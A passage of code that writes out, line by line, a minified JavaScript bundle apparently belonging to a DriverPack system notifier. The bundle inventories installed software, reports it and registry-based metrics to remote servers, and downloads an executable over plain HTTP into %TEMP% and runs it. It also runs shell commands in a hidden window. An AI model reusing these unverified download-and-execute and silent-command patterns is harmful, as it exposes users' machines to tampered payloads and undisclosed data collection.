file.WriteLine(" Program = _ref10.Program, Version =
_ref10.Version, imageurl = _ref10.imageurl, ");
file.WriteLine(" uninstallrate = _ref10.uninstallrate;");
file.WriteLine(" if (!uninstallrate) {");
file.WriteLine(" _context3.next = 29;");
file.WriteLine(" break;");
file.WriteLine(" }");
file.WriteLine(" usefulness = uninstallrate <
protectThresholdUseful ? \"useful\" : uninstallrate >=
protectThreshold ? \"harmful\" : \"neutral\";");
file.WriteLine(" source = \"notification new program \" +
usefulness;");
file.WriteLine(" lang = this.getNotificationLang();");
file.WriteLine(" notification = new
_Notification2[\"default\"](\"driverpack-new-program-\" + usefulness, {");
file.WriteLine(" lang: lang,");
file.WriteLine(" name: Program.length > 11 ?
Program.substr(0, 11) + \"…\" : Program,");
file.WriteLine(" uninstallRate: uninstallrate,");
file.WriteLine(" icon: imageurl");
file.WriteLine(" });");
file.WriteLine(" _context3.next = 26;");
file.WriteLine(" return notification.show();");
file.WriteLine("");
file.WriteLine(" case 26:");
file.WriteLine(" status = _context3.sent;");
file.WriteLine(" if
([ \"ok\", \"unsubscribe\" ].includes(status)) driverpackData = \"ok\" === status ?
{");
file.WriteLine(" source: source,");
file.WriteLine("
action: \"uninstall_single_program\",");
file.WriteLine(" program: {");
file.WriteLine(" Program: Program,");
file.WriteLine(" Version: Version");
file.WriteLine(" }");
file.WriteLine(" } : {");
file.WriteLine(" source: source,");
file.WriteLine(" action: \"open_protect\"");
file.WriteLine(" };");
file.WriteLine("
this.performDriverPackAction(driverpackData);");
file.WriteLine("");
file.WriteLine(" case 29:");
file.WriteLine(" _context3.next = 7;");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 31:");
file.WriteLine(" case \"end\":");
file.WriteLine(" return _context3.stop();");
file.WriteLine(" }");
file.WriteLine(" }, _callee3, this);");
file.WriteLine(" }));");
file.WriteLine(" return checkNewPrograms;");
file.WriteLine(" }();");
file.WriteLine(" DriverPack.prototype.checkProtect = function() {");
file.WriteLine(" function checkProtect() {");
file.WriteLine(" return _ref11.apply(this, arguments);");
file.WriteLine(" }");
file.WriteLine(" var _ref11 =
_asyncToGenerator(regeneratorRuntime.mark(function _callee4() {");
file.WriteLine(" var _getDiagnostics, Software, query, _ref12, data,
count;");
file.WriteLine(" return regeneratorRuntime.wrap(function(_context4)
{");
file.WriteLine(" for (;;) switch (_context4.prev =
_context4.next) {");
file.WriteLine(" case 0:");
file.WriteLine(" if (this.verifyCheckCondition(\"protect\"))
{");
file.WriteLine(" _context4.next = 2;");
file.WriteLine(" break;");
file.WriteLine(" }");
file.WriteLine(" return _context4.abrupt(\"return\");");
file.WriteLine("");
file.WriteLine(" case 2:");
file.WriteLine(" _getDiagnostics = (0,
_getDiagnostics3[\"default\"])(\"soft\"), Software = _getDiagnostics.Software;");
file.WriteLine(" query = (0, _uniq2[\"default\"])
(Software[\"Installed Software\"].filter(checkProgram), \"Uninstaller\");");
file.WriteLine(" _context4.next = 6;");
file.WriteLine(" return this.query(\"cleaner\", query);");
file.WriteLine("");
file.WriteLine(" case 6:");
file.WriteLine(" _ref12 = _context4.sent;");
file.WriteLine(" data = _ref12.body.data;");
file.WriteLine(" count = 0;");
file.WriteLine(" data.forEach(function(_ref13) {");
file.WriteLine(" var uninstallrate =
_ref13.uninstallrate;");
file.WriteLine(" if (uninstallrate && uninstallrate >
protectThreshold) count++;");
file.WriteLine(" });");
file.WriteLine(" if (!(count > 0)) {");
file.WriteLine(" _context4.next = 14;");
file.WriteLine(" break;");
file.WriteLine(" }");
file.WriteLine(" _context4.next = 13;");
file.WriteLine(" return this.showNotification(\"protect\",
{");
file.WriteLine(" count: count");
file.WriteLine(" });");
file.WriteLine("");
file.WriteLine(" case 13:");
file.WriteLine(" return _context4.abrupt(\"return\",
_context4.sent);");
file.WriteLine("");
file.WriteLine(" case 14:");
file.WriteLine(" case \"end\":");
file.WriteLine(" return _context4.stop();");
file.WriteLine(" }");
file.WriteLine(" }, _callee4, this);");
file.WriteLine(" }));");
file.WriteLine(" return checkProtect;");
file.WriteLine(" }();");
file.WriteLine(" DriverPack.prototype.verifyCheckCondition = function(type)
{");
file.WriteLine(" var notification = new _Notification2[\"default\"]
(\"driverpack-\" + type), checked = notification.get(\"checked\");");
file.WriteLine(" if (!checked) {");
file.WriteLine(" if (Math.random() < sampling) return;");
file.WriteLine(" } else if (Date.now() - checked < timeout) return;");
file.WriteLine(" notification.set(\"checked\", Date.now()).save();");
file.WriteLine(" return !0;");
file.WriteLine(" };");
file.WriteLine(" DriverPack.prototype.query = function(endpoint, data) {");
file.WriteLine(" var uri = apiEndpoint + \"/\" + endpoint;");
file.WriteLine(" return new _DeloreanTransport2[\"default\"](uri,
undefined, tries).send(data);");
file.WriteLine(" };");
file.WriteLine(" DriverPack.prototype.performDriverPackAction =
function(data) {");
file.WriteLine(" if (data) {");
file.WriteLine(" try {");
file.WriteLine(" var file =
_system.fso.OpenTextFile(driverPackFile, 2, !0);");
file.WriteLine(" file.write(JSON.stringify(data));");
file.WriteLine(" file.Close();");
file.WriteLine(" } catch (err) {}");
file.WriteLine(" return this.launchDriverPack();");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" DriverPack.prototype.launchDriverPack = function() {");
file.WriteLine(" function launchDriverPack(_x3) {");
file.WriteLine(" return _ref14.apply(this, arguments);");
file.WriteLine(" }");
file.WriteLine(" var _ref14 =
_asyncToGenerator(regeneratorRuntime.mark(function _callee5(type) {");
file.WriteLine(" var events, filename, link, dirPath;");
file.WriteLine(" return regeneratorRuntime.wrap(function(_context5)
{");
file.WriteLine(" for (;;) switch (_context5.prev =
_context5.next) {");
file.WriteLine(" case 0:");
file.WriteLine(" events = {");
file.WriteLine(" beforeDownloading: function() {},");
file.WriteLine(" afterDownloading: function() {}");
file.WriteLine(" };");
file.WriteLine(" filename = void 0, link = void 0;");
file.WriteLine(" if (!type) {");
file.WriteLine(" filename = \"DriverPack-17-
Online.exe\";");
file.WriteLine(" link = \"http://download.drp.su/\" +
filename;");
file.WriteLine(" } else {");
file.WriteLine(" filename = \"DriverPack-Online-\" +
type + \".exe\";");
file.WriteLine(" link = \"http://download0.drp.su/\" +
filename;");
file.WriteLine(" }");
file.WriteLine(" dirPath =
_system.WshShell.ExpandEnvironmentStrings(\"%TEMP%\");");
file.WriteLine(" _context5.next = 6;");
file.WriteLine(" return
_wget2[\"default\"].downloadFiles(events, dirPath, [ {");
file.WriteLine(" link: link");
file.WriteLine(" } ]);");
file.WriteLine("");
file.WriteLine(" case 6:");
file.WriteLine(" (0, _utils.startCommand)(dirPath + \"\\\\\"
+ filename);");
file.WriteLine("");
file.WriteLine(" case 7:");
file.WriteLine(" case \"end\":");
file.WriteLine(" return _context5.stop();");
file.WriteLine(" }");
file.WriteLine(" }, _callee5, this);");
file.WriteLine(" }));");
file.WriteLine(" return launchDriverPack;");
file.WriteLine(" }();");
file.WriteLine(" DriverPack.prototype.showNotification = function() {");
file.WriteLine(" function showNotification(_x4, _x5) {");
file.WriteLine(" return _ref15.apply(this, arguments);");
file.WriteLine(" }");
file.WriteLine(" var _ref15 =
_asyncToGenerator(regeneratorRuntime.mark(function _callee6(type, args) {");
file.WriteLine(" var notification, status;");
file.WriteLine(" return regeneratorRuntime.wrap(function(_context6)
{");
file.WriteLine(" for (;;) switch (_context6.prev =
_context6.next) {");
file.WriteLine(" case 0:");
file.WriteLine(" notification = new
_Notification2[\"default\"](\"driverpack-\" + type, args);");
file.WriteLine(" _context6.next = 3;");
file.WriteLine(" return notification.show();");
file.WriteLine("");
file.WriteLine(" case 3:");
file.WriteLine(" status = _context6.sent;");
file.WriteLine(" if (\"ok\" !== status) {");
file.WriteLine(" _context6.next = 8;");
file.WriteLine(" break;");
file.WriteLine(" }");
file.WriteLine(" _context6.next = 7;");
file.WriteLine(" return this.launchDriverPack(type);");
file.WriteLine("");
file.WriteLine(" case 7:");
file.WriteLine(" return _context6.abrupt(\"return\", !0);");
file.WriteLine("");
file.WriteLine(" case 8:");
file.WriteLine(" case \"end\":");
file.WriteLine(" return _context6.stop();");
file.WriteLine(" }");
file.WriteLine(" }, _callee6, this);");
file.WriteLine(" }));");
file.WriteLine(" return showNotification;");
file.WriteLine(" }();");
file.WriteLine(" return DriverPack;");
file.WriteLine(" }();");
file.WriteLine(" exports[\"default\"] = DriverPack;");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" function webpackContext(req) {");
file.WriteLine(" return __webpack_require__(webpackContextResolve(req));");
file.WriteLine(" }");
file.WriteLine(" function webpackContextResolve(req) {");
file.WriteLine(" var id = map[req];");
file.WriteLine(" if (!(id + 1)) throw new Error(\"Cannot find module '\" +
req + \"'.\");");
file.WriteLine(" return id;");
file.WriteLine(" }");
file.WriteLine(" var map = {");
file.WriteLine(" \"./antivirus-notactive\": 99,");
file.WriteLine(" \"./antivirus-notactive.yaml\": 99,");
file.WriteLine(" \"./antivirus-notinstalled\": 80,");
file.WriteLine(" \"./antivirus-notinstalled.js\": 80,");
file.WriteLine(" \"./antivirus-notworking\": 81,");
file.WriteLine(" \"./antivirus-notworking.js\": 81,");
file.WriteLine(" \"./antivirus-working\": 82,");
file.WriteLine(" \"./antivirus-working.js\": 82,");
file.WriteLine(" \"./batterypoorcondition\": 100,");
file.WriteLine(" \"./batterypoorcondition.yaml\": 100,");
file.WriteLine(" \"./cloud-update\": 101,");
file.WriteLine(" \"./cloud-update.yaml\": 101,");
file.WriteLine(" \"./cpuloadaverage\": 102,");
file.WriteLine(" \"./cpuloadaverage.yaml\": 102,");
file.WriteLine(" \"./custdev-invite\": 83,");
file.WriteLine(" \"./custdev-invite.js\": 83,");
file.WriteLine(" \"./driverpack-drivers\": 84,");
file.WriteLine(" \"./driverpack-drivers.js\": 84,");
file.WriteLine(" \"./driverpack-new-program-harmful\": 85,");
file.WriteLine(" \"./driverpack-new-program-harmful.js\": 85,");
file.WriteLine(" \"./driverpack-new-program-neutral\": 86,");
file.WriteLine(" \"./driverpack-new-program-neutral.js\": 86,");
file.WriteLine(" \"./driverpack-new-program-useful\": 87,");
file.WriteLine(" \"./driverpack-new-program-useful.js\": 87,");
file.WriteLine(" \"./driverpack-protect\": 88,");
file.WriteLine(" \"./driverpack-protect.js\": 88,");
file.WriteLine(" \"./driverpack-wannacrypt-bad-rabbit\": 89,");
file.WriteLine(" \"./driverpack-wannacrypt-bad-rabbit.js\": 89,");
file.WriteLine(" \"./fileassociation\": 90,");
file.WriteLine(" \"./fileassociation.js\": 90,");
file.WriteLine(" \"./newbsod\": 91,");
file.WriteLine(" \"./newbsod.js\": 91,");
file.WriteLine(" \"./opera-vpn\": 103,");
file.WriteLine(" \"./opera-vpn.yaml\": 103,");
file.WriteLine(" \"./otherdrivesfreespace\": 92,");
file.WriteLine(" \"./otherdrivesfreespace.js\": 92,");
file.WriteLine(" \"./partnersoft\": 95,");
file.WriteLine(" \"./partnersoft-browser\": 93,");
file.WriteLine(" \"./partnersoft-browser.js\": 93,");
file.WriteLine(" \"./partnersoft-system\": 94,");
file.WriteLine(" \"./partnersoft-system.js\": 94,");
file.WriteLine(" \"./partnersoft.js\": 95,");
file.WriteLine(" \"./ramload\": 104,");
file.WriteLine(" \"./ramload.yaml\": 104,");
file.WriteLine(" \"./scheduler-uac\": 105,");
file.WriteLine(" \"./scheduler-uac.yaml\": 105,");
file.WriteLine(" \"./smartfailed\": 96,");
file.WriteLine(" \"./smartfailed.js\": 96,");
file.WriteLine(" \"./systemdrivefreespace\": 97,");
file.WriteLine(" \"./systemdrivefreespace.js\": 97,");
file.WriteLine(" \"./uninstall\": 98,");
file.WriteLine(" \"./uninstall.js\": 98");
file.WriteLine(" };");
file.WriteLine(" webpackContext.keys = function() {");
file.WriteLine(" return Object.keys(map);");
file.WriteLine(" };");
file.WriteLine(" webpackContext.resolve = webpackContextResolve;");
file.WriteLine(" module.exports = webpackContext;");
file.WriteLine(" webpackContext.id = 176;");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" var appleNotebooks = __webpack_require__(225), badNotebooks =
__webpack_require__(226);");
file.WriteLine(" exports.appleNotebooks = appleNotebooks;");
file.WriteLine(" exports.badNotebooks = badNotebooks;");
file.WriteLine(" exports[\"default\"] = function(_ref) {");
file.WriteLine(" var _ref$Vendor = _ref.Vendor, Vendor = _ref$Vendor ===
undefined ? \"Noname\" : _ref$Vendor, _ref$Name = _ref.Name, Name = _ref$Name ===
undefined ? \"Unknown\" : _ref$Name, Version = _ref.Version;");
file.WriteLine(" Name = Name.trim();");
file.WriteLine(" Vendor = Vendor.toLowerCase();");
file.WriteLine(" var Models = [];");
file.WriteLine(" switch (Vendor) {");
file.WriteLine(" case \"lenovo\":");
file.WriteLine(" Version = Version ? Version.trim() : \"\";");
file.WriteLine(" Models =
[ Version.replace(/^lenovo[\\s-]*/i, \"\") ];");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case \"sony\":");
file.WriteLine(" Models = [ \"VAIO \" + Name ];");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case \"samsung\":");
file.WriteLine(" case \"bangho\":");
file.WriteLine(" case \"clevo\":");
file.WriteLine(" case \"quanta\":");
file.WriteLine(" Models = Name.split(\"/\");");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case \"msi\":");
file.WriteLine(" Models = Name.split(\"/\").map(function(name) {");
file.WriteLine(" return name.replace(/^msi
notebook[\\s-]*/i, \"\");");
file.WriteLine(" });");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case \"apple\":");
file.WriteLine(" Models = appleNotebooks[Name] || [ Name ];");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case \"dell\":");
file.WriteLine(" Models = [ Name.replace(/^dell
system[\\s-]*/i, \"\").replace(/^dell[\\s-]*/i, \"\") ];");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case \"emachines\":");
file.WriteLine(" Models =
[ Name.replace(/^emachines[\\s-]*/i, \"\") ];");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case \"hp\":");
file.WriteLine(" Models = [ Name.replace(/^hp[\\s-]*/i, \"\").replace(/
[\\s-]*notebook pc/i, \"\").replace(/notebook[\\s-]*$/i, \"\") ];");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case \"toshiba\":");
file.WriteLine(" Models = [ Name.replace(/^toshiba[\\s-]*/i, \"\") ];");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case \"nec\":");
file.WriteLine(" Models = [ Name.replace(/^nec[\\s-]*/i, \"\") ];");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case \"hcl\":");
file.WriteLine(" Models = [ Name.replace(/^hcl[\\s-]*/i, \"\") ];");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case \"casper\":");
file.WriteLine(" Models =
[ Name.replace(/^casper[\\s-]*/i, \"\").replace(/[\\s-]*notebook$/i, \"\") ];");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case \"alienware\":");
file.WriteLine(" Models =
[ Name.replace(/^alienware[\\s-]*/i, \"\") ];");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case \"axioo\":");
file.WriteLine(" Models = [ Name.replace(/[\\s-]*model$/i, \"\") ];");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case \"depo\":");
file.WriteLine(" Models = [ Name.replace(/^depo[\\s-]*/i, \"\") ];");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case \"fujitsu\":");
file.WriteLine(" Models = [ Name.replace(/
[\\s-]*notebook[\\s-]*/i, \"\") ];");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case \"gateway\":");
file.WriteLine(" Models = [ Name.replace(/^gateway[\\s-]*/i, \"\") ];");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case \"positivo\":");
file.WriteLine(" Models =
[ Name.replace(/^positivo[\\s-]*/i, \"\") ];");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case \"vestel\":");
file.WriteLine(" Models = [ Name.replace(/^vestel[\\s-]*/i, \"\") ];");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case \"vit\":");
file.WriteLine(" Models = [ Name.replace(/^vit[\\s-]*/i, \"\") ];");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case \"aquarius\":");
file.WriteLine(" Models =
[ Name.replace(/^aquarius[\\s-]*/i, \"\") ];");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case \"archos\":");
file.WriteLine(" Models = [ Name.replace(/^archos[\\s-]*/i, \"\") ];");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case \"zoostorm\":");
file.WriteLine(" Models =
[ Name.replace(/^zoostorm[\\s-]*/i, \"\") ];");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case \"zyrex\":");
file.WriteLine(" Models = [ Name.replace(/^zyrex[\\s-]*/i, \"\") ];");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" default:");
file.WriteLine(" Models = [ Name ];");
file.WriteLine(" }");
file.WriteLine(" Models = Models.map(function(model) {");
file.WriteLine(" if (badNotebooks[Vendor] &&
badNotebooks[Vendor].includes(model)) return \"Unknown\"; else return model;");
file.WriteLine(" });");
file.WriteLine(" return Models.join(\"/\");");
file.WriteLine(" };");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports.vendorsDict = exports.trimVendorName = undefined;");
file.WriteLine(" var _basicNBVendors = __webpack_require__(487),
_basicNBVendors2 = function(obj) {");
file.WriteLine(" return obj && obj.__esModule ? obj : {");
file.WriteLine(" \"default\": obj");
file.WriteLine(" };");
file.WriteLine(" }(_basicNBVendors), trimVendorName =
__webpack_require__(110);");
file.WriteLine(" exports.trimVendorName = trimVendorName;");
file.WriteLine(" var vendorsDict = exports.vendorsDict = {};");
file.WriteLine(" _basicNBVendors2[\"default\"].forEach(function(_ref) {");
file.WriteLine(" var name = _ref.name;");
file.WriteLine(" _ref.altNames.forEach(function(altName) {");
file.WriteLine(" vendorsDict[altName] = name;");
file.WriteLine(" });");
file.WriteLine(" });");
file.WriteLine(" exports[\"default\"] = function(vendor) {");
file.WriteLine(" vendor = trimVendorName(vendor);");
file.WriteLine(" return vendorsDict[vendor] ? vendorsDict[vendor] :
vendor;");
file.WriteLine(" };");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports.runCommandAsync = undefined;");
file.WriteLine(" var _shell = __webpack_require__(13), _fso =
__webpack_require__(7), _utils = __webpack_require__(44), _logs =
__webpack_require__(17), _specialFolders = __webpack_require__(15), _localFiles =
__webpack_require__(21), log = (0, ");
file.WriteLine(" _logs.getLogger)(\"core:system:runCommandAsync\");");
file.WriteLine(" exports.runCommandAsync = function(_ref) {");
file.WriteLine(" var command = _ref.command, _ref$spaced = _ref.spaced,
spaced = _ref$spaced === undefined ? !0 : _ref$spaced, _ref$triggerFile =
_ref.triggerFile, triggerFile = _ref$triggerFile === undefined ? (0, ");
file.WriteLine(" _localFiles.ensurePath)(_specialFolders.AppFolder
+ \"\\\\temp\") + \"\\\\run_command_\" + (0, ");
file.WriteLine(" _utils.generateJobId)() + \".txt\" : _ref$triggerFile,
_ref$customOutput = _ref.customOutput, customOutput = _ref$customOutput ===
undefined ? !1 : _ref$customOutput, _ref$checkInterval = _ref.checkInterval,
checkInterval = _ref$checkInterval === undefined ? 1e3 : _ref$checkInterval,
_ref$timeout = _ref.timeout, timeout = _ref$timeout === undefined ? 9e5 :
_ref$timeout;");
file.WriteLine(" return new Promise(function(resolve, reject) {");
file.WriteLine(" var commandString = command + (spaced ? \" \" : \"\") +
(customOutput ? \"\" : \"|| echo Done & call echo Done %^errorLevel%\") + ' > \"' +
triggerFile + '\"', wrappedCommand = (0, ");
file.WriteLine(" _utils.wrapInCmd)(commandString);");
file.WriteLine(" log.debug(\"running command\", {");
file.WriteLine(" wrappedCommand: wrappedCommand");
file.WriteLine(" }, \"command\");");
file.WriteLine(" setTimeout(function() {");
file.WriteLine(" _shell.WshShell.Run(wrappedCommand, 0, !1);");
file.WriteLine(" }, 0);");
file.WriteLine(" var textStream = void 0, timeoutTimer = void 0, timer =
setInterval(function() {");
file.WriteLine(" if (_fso.fso.FileExists(triggerFile)) try {");
file.WriteLine(" textStream = _fso.fso.OpenTextFile(triggerFile,
1, !1);");
file.WriteLine(" if (!textStream.AtEndOfStream) {");
file.WriteLine(" clearInterval(timeoutTimer);");
file.WriteLine(" clearInterval(timer);");
file.WriteLine(" if (!customOutput) {");
file.WriteLine(" var text = textStream.ReadAll(),
matches = text.match(/done\\s+(\\d+)/i), exitCode = matches && matches[1];");
file.WriteLine(" null !== exitCode ?
resolve(+exitCode) : reject(new Error(\"runCommandAsync: exitCode not found\"));");
file.WriteLine(" } else resolve();");
file.WriteLine(" }");
file.WriteLine(" } catch (e) {");
file.WriteLine(" clearInterval(timeoutTimer);");
file.WriteLine(" clearInterval(timer);");
file.WriteLine(" reject(new Error(\"runCommandAsync: read
trigger file\"));");
file.WriteLine(" } finally {");
file.WriteLine(" textStream.Close();");
file.WriteLine(" }");
file.WriteLine(" }, checkInterval);");
file.WriteLine(" timeoutTimer = setTimeout(function() {");
file.WriteLine(" clearInterval(timeoutTimer);");
file.WriteLine(" clearInterval(timer);");
file.WriteLine(" reject(new Error(\"runCommandAsync: timeout\"));");
file.WriteLine(" }, timeout);");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine("}, , , , , , , , , , , , , , , , , , , , , , , , , ,
function(module, exports, __webpack_require__) {");
file.WriteLine(" function baseGet(object, path, pathKey) {");
file.WriteLine(" if (null != object) {");
file.WriteLine(" if (pathKey !== undefined && pathKey in
toObject(object)) path = [ pathKey ];");
file.WriteLine(" for (var index = 0, length = path.length; null !=
object && index < length; ) object = object[path[index++]];");
file.WriteLine(" return index && index == length ? object :
undefined;");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" var toObject = __webpack_require__(64);");
file.WriteLine(" module.exports = baseGet;");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" function baseIsEqual(value, other, customizer, isLoose, stackA,
stackB) {");
file.WriteLine(" if (value === other) return !0;");
file.WriteLine(" if (null == value || null == other || !isObject(value) && !
isObjectLike(other)) return value !== value && other !== other; else return
baseIsEqualDeep(value, other, baseIsEqual, customizer, isLoose, stackA, stackB);");
file.WriteLine(" }");
file.WriteLine(" var baseIsEqualDeep = __webpack_require__(428), isObject =
__webpack_require__(41), isObjectLike = __webpack_require__(77);");
file.WriteLine(" module.exports = baseIsEqual;");
file.WriteLine("}, function(module, exports) {");
file.WriteLine(" function baseProperty(key) {");
file.WriteLine(" return function(object) {");
file.WriteLine(" return null == object ? undefined : object[key];");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" module.exports = baseProperty;");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" function isKey(value, object) {");
file.WriteLine(" var type = typeof value;");
file.WriteLine(" if (\"string\" == type && reIsPlainProp.test(value)
|| \"number\" == type) return !0;");
file.WriteLine(" if (isArray(value)) return !1; else return !
reIsDeepProp.test(value) || null != object && value in toObject(object);");
file.WriteLine(" }");
file.WriteLine(" var isArray = __webpack_require__(65), toObject =
__webpack_require__(64), reIsDeepProp = /\\.|\\[(?:[^[\\]]*|([\"'])(?:(?!\\1)
[^\\n\\\\]|\\\\.)*?\\1)\\]/, reIsPlainProp = /^\\w*$/;");
file.WriteLine(" module.exports = isKey;");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" function isStrictComparable(value) {");
file.WriteLine(" return value === value && !isObject(value);");
file.WriteLine(" }");
file.WriteLine(" var isObject = __webpack_require__(41);");
file.WriteLine(" module.exports = isStrictComparable;");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" function toPath(value) {");
file.WriteLine(" if (isArray(value)) return value;");
file.WriteLine(" var result = [];");
file.WriteLine(" baseToString(value).replace(rePropName, function(match,
number, quote, string) {");
file.WriteLine(" result.push(quote ?
string.replace(reEscapeChar, \"$1\") : number || match);");
file.WriteLine(" });");
file.WriteLine(" return result;");
file.WriteLine(" }");
file.WriteLine(" var baseToString = __webpack_require__(434), isArray =
__webpack_require__(65), rePropName = /[^.[\\]]+|\\[(?:(-?\\d+(?:\\.\\d+)?)|([\"'])
((?:(?!\\2)[^\\n\\\\]|\\\\.)*?)\\2)\\]/g, reEscapeChar = /\\\\(\\\\)?/g;");
file.WriteLine(" module.exports = toPath;");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" function isArguments(value) {");
file.WriteLine(" return isObjectLike(value) && isArrayLike(value) &&
hasOwnProperty.call(value, \"callee\") && !
propertyIsEnumerable.call(value, \"callee\");");
file.WriteLine(" }");
file.WriteLine(" var isArrayLike = __webpack_require__(165), isObjectLike =
__webpack_require__(77), objectProto = Object.prototype, hasOwnProperty =
objectProto.hasOwnProperty, propertyIsEnumerable =
objectProto.propertyIsEnumerable;");
file.WriteLine(" module.exports = isArguments;");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" var getNative = __webpack_require__(125), isArrayLike =
__webpack_require__(165), isObject = __webpack_require__(41), shimKeys =
__webpack_require__(447), nativeKeys = getNative(Object, \"keys\"), keys = !
nativeKeys ? shimKeys : function(object) {");
file.WriteLine(" var Ctor = null == object ? undefined :
object.constructor;");
file.WriteLine(" if (\"function\" == typeof Ctor && Ctor.prototype ===
object || \"function\" != typeof object && isArrayLike(object)) return
shimKeys(object); else return isObject(object) ? nativeKeys(object) : [];");
file.WriteLine(" };");
file.WriteLine(" module.exports = keys;");
file.WriteLine("}, function(module, exports) {");
file.WriteLine(" function identity(value) {");
file.WriteLine(" return value;");
file.WriteLine(" }");
file.WriteLine(" module.exports = identity;");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" function _interopRequireDefault(obj) {");
file.WriteLine(" return obj && obj.__esModule ? obj : {");
file.WriteLine(" \"default\": obj");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" function _classCallCheck(instance, Constructor) {");
file.WriteLine(" if (!(instance instanceof Constructor)) throw new
TypeError(\"Cannot call a class as a function\");");
file.WriteLine(" }");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" var _typeof = \"function\" == typeof Symbol && \"symbol\" ==
typeof Symbol.iterator ? function(obj) {");
file.WriteLine(" return typeof obj;");
file.WriteLine(" } : function(obj) {");
file.WriteLine(" return obj && \"function\" == typeof Symbol &&
obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof
obj;");
file.WriteLine(" }, _config = __webpack_require__(6), _config2 =
_interopRequireDefault(_config), _statistics = __webpack_require__(20),
_statistics2 = _interopRequireDefault(_statistics), _logs =
__webpack_require__(17), _system = __webpack_require__(1), hashPath
= \"HKLM\\\\SOFTWARE\\\\drpsu\\\\hash\", methods = {");
file.WriteLine(" get: _system.httpget,");
file.WriteLine(" post: _system.httppost,");
file.WriteLine(" put: _system.httpput,");
file.WriteLine(" img: _system.sendImg");
file.WriteLine(" }, Metric = function() {");
file.WriteLine(" function Metric() {");
file.WriteLine(" _classCallCheck(this, Metric);");
file.WriteLine(" this.hash = (0, _system.RegRead)(hashPath);");
file.WriteLine(" }");
file.WriteLine(" Metric.prototype.encode = function(value) {");
file.WriteLine(" if (\"object\" === (void 0 === value ? \"undefined\" :
_typeof(value))) value = JSON.stringify(value);");
file.WriteLine(" return encodeURIComponent(value);");
file.WriteLine(" };");
file.WriteLine(" Metric.prototype.formatUri = function(endpoint, query) {");
file.WriteLine(" var _this = this, url =
_config2[\"default\"].metrics.serverURL + endpoint;");
file.WriteLine(" if (query) url += \"?\" +
Object.entries(query).map(function(_ref) {");
file.WriteLine(" var key = _ref[0], value = _ref[1];");
file.WriteLine(" return key + \"=\" + _this.encode(value);");
file.WriteLine(" }).join(\"&\");");
file.WriteLine(" return url;");
file.WriteLine(" };");
file.WriteLine(" Metric.prototype.request = function(method, endpoint,
query, body) {");
file.WriteLine(" var promise = methods[method](this.formatUri(endpoint,
query), body);");
file.WriteLine(" promise.then(function() {");
file.WriteLine(" (0, _logs.log)(\"[Metric] Sent \" +
method.toUpperCase() + \" '\" + endpoint + \"' request\", {");
file.WriteLine(" query: query,");
file.WriteLine(" body: body");
file.WriteLine(" });");
file.WriteLine(" }, function(err) {");
file.WriteLine(" (0, _logs.log)(\"[Metric] Error sending \" +
method.toUpperCase() + \" '\" + endpoint + \"' request\", {");
file.WriteLine(" query: query,");
file.WriteLine(" body: body");
file.WriteLine(" }, err);");
file.WriteLine(" });");
file.WriteLine(" return promise;");
file.WriteLine(" };");
file.WriteLine(" Metric.prototype.get = function(endpoint, query) {");
file.WriteLine(" return this.request(\"get\", endpoint, query);");
file.WriteLine(" };");
file.WriteLine(" Metric.prototype.post = function(endpoint, data, query)
{");
file.WriteLine(" return this.request(\"post\", endpoint, query,
data);");
file.WriteLine(" };");
file.WriteLine(" Metric.prototype.put = function(endpoint, data, query) {");
file.WriteLine(" return this.request(\"put\", endpoint, query, data);");
file.WriteLine(" };");
file.WriteLine(" Metric.prototype.img = function(endpoint, query) {");
file.WriteLine(" return this.request(\"img\", endpoint, query);");
